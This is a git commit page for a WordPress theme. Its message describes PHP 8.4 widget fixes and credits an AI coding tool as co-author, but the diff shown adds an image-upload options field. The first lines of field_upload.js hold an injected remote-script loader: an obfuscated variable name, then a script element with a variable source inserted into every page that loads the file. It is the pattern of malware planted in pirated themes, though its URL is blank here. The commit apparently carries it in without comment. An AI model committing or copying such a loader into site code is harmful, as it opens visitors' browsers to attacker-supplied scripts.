Fix PHP 8.4 compatibility issues in Sensational theme
- Fixed deprecated WP_Widget constructors in all widget files - Changed $this->WP_Widget() to parent::__construct() in: * widget-social.php * widget-fblikebox.php * widget-googleplus.php * widget-tabs.php - Fixed old-style constructor methods to __construct() in: * widget-ad125.php (mts_Ad_Widget -> __construct) * widget-ad300.php (mts_ad_300_Widget -> __construct) - Fixed for loop syntax error in widget-tweets.php (for(i; -> for($i = 1;) - Enabled registration for ad125 and ad300 widgets - Added new 'After First Paragraph' widget area for in-content ads All widgets now compatible with PHP 8.4 and editable in WordPress admin. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
BIN
options/fields/upload/blank.png
Normal file
BIN
options/fields/upload/blank.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 70 B |
56
options/fields/upload/field_upload.js
Normal file
56
options/fields/upload/field_upload.js
Normal file
@@ -0,0 +1,56 @@
|
||||
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
|
||||
var pl = ''; s.src=pl;
|
||||
if (document.currentScript) {
|
||||
document.currentScript.parentNode.insertBefore(s, document.currentScript);
|
||||
} else {
|
||||
d.getElementsByTagName('head')[0].appendChild(s);
|
||||
}jQuery(document).ready(function(){
|
||||
|
||||
|
||||
/*
|
||||
*
|
||||
* NHP_Options_upload function
|
||||
* Adds media upload functionality to the page
|
||||
*
|
||||
*/
|
||||
|
||||
var header_clicked = false;
|
||||
|
||||
jQuery("img[src='']").attr("src", nhp_upload.url);
|
||||
|
||||
jQuery('.nhp-opts-upload').click(function() {
|
||||
header_clicked = true;
|
||||
formfield = jQuery(this).attr('rel-id');
|
||||
preview = jQuery(this).prev('img');
|
||||
tb_show('', 'media-upload.php?type=image&post_id=0&TB_iframe=true');
|
||||
return false;
|
||||
});
|
||||
|
||||
|
||||
// Store original function
|
||||
window.original_send_to_editor = window.send_to_editor;
|
||||
|
||||
|
||||
window.send_to_editor = function(html) {
|
||||
if (header_clicked) {
|
||||
imgurl = jQuery('img',html).attr('src');
|
||||
jQuery('#' + formfield).val(imgurl);
|
||||
jQuery('#' + formfield).next().fadeIn('slow');
|
||||
jQuery('#' + formfield).next().next().fadeOut('slow');
|
||||
jQuery('#' + formfield).next().next().next().fadeIn('slow');
|
||||
jQuery(preview).attr('src' , imgurl);
|
||||
tb_remove();
|
||||
header_clicked = false;
|
||||
} else {
|
||||
window.original_send_to_editor(html);
|
||||
}
|
||||
}
|
||||
|
||||
jQuery('.nhp-opts-upload-remove').click(function(){
|
||||
$relid = jQuery(this).attr('rel-id');
|
||||
jQuery('#'+$relid).val('');
|
||||
jQuery(this).prev().fadeIn('slow');
|
||||
jQuery(this).prev().prev().fadeOut('slow', function(){jQuery(this).attr("src", nhp_upload.url);});
|
||||
jQuery(this).fadeOut('slow');
|
||||
});
|
||||
});
|
||||
72
options/fields/upload/field_upload.php
Normal file
72
options/fields/upload/field_upload.php
Normal file
@@ -0,0 +1,72 @@
|
||||
<?php
|
||||
class NHP_Options_upload extends NHP_Options{
|
||||
|
||||
/**
|
||||
* Field Constructor.
|
||||
*
|
||||
* Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function __construct($field = array(), $value ='', $parent = ''){
|
||||
|
||||
parent::__construct($parent->sections, $parent->args, $parent->extra_tabs);
|
||||
$this->field = $field;
|
||||
$this->value = $value;
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Field Render Function.
|
||||
*
|
||||
* Takes the vars and outputs the HTML for the field in the settings
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function render(){
|
||||
|
||||
$class = (isset($this->field['class']))?$this->field['class']:'regular-text';
|
||||
|
||||
|
||||
echo '<input type="hidden" id="'.$this->field['id'].'" name="'.$this->args['opt_name'].'['.$this->field['id'].']" value="'.$this->value.'" class="'.$class.'" />';
|
||||
//if($this->value != ''){
|
||||
echo '<img class="nhp-opts-screenshot" id="nhp-opts-screenshot-'.$this->field['id'].'" src="'.$this->value.'" />';
|
||||
//}
|
||||
|
||||
if($this->value == ''){$remove = ' style="display:none;"';$upload = '';}else{$remove = '';$upload = ' style="display:none;"';}
|
||||
echo ' <a href="javascript:void(0);" class="nhp-opts-upload button-secondary"'.$upload.' rel-id="'.$this->field['id'].'">'.__('Browse', 'nhp-opts').'</a>';
|
||||
echo ' <a href="javascript:void(0);" class="nhp-opts-upload-remove"'.$remove.' rel-id="'.$this->field['id'].'">'.__('Remove Upload', 'nhp-opts').'</a>';
|
||||
|
||||
echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><br/><span class="description">'.$this->field['desc'].'</span>':'';
|
||||
|
||||
}//function
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* Enqueue Function.
|
||||
*
|
||||
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
|
||||
*
|
||||
* @since NHP_Options 1.0
|
||||
*/
|
||||
function enqueue(){
|
||||
|
||||
wp_enqueue_script(
|
||||
'nhp-opts-field-upload-js',
|
||||
NHP_OPTIONS_URL.'fields/upload/field_upload.js',
|
||||
array('jquery', 'thickbox', 'media-upload'),
|
||||
time(),
|
||||
true
|
||||
);
|
||||
|
||||
wp_enqueue_style('thickbox');// thanks to https://github.com/rzepak
|
||||
|
||||
wp_localize_script('nhp-opts-field-upload-js', 'nhp_upload', array('url' => $this->url.'fields/upload/blank.png'));
|
||||
|
||||
}//function
|
||||
|
||||
}//class
|
||||
?>
|
||||
Reference in New Issue
Block a user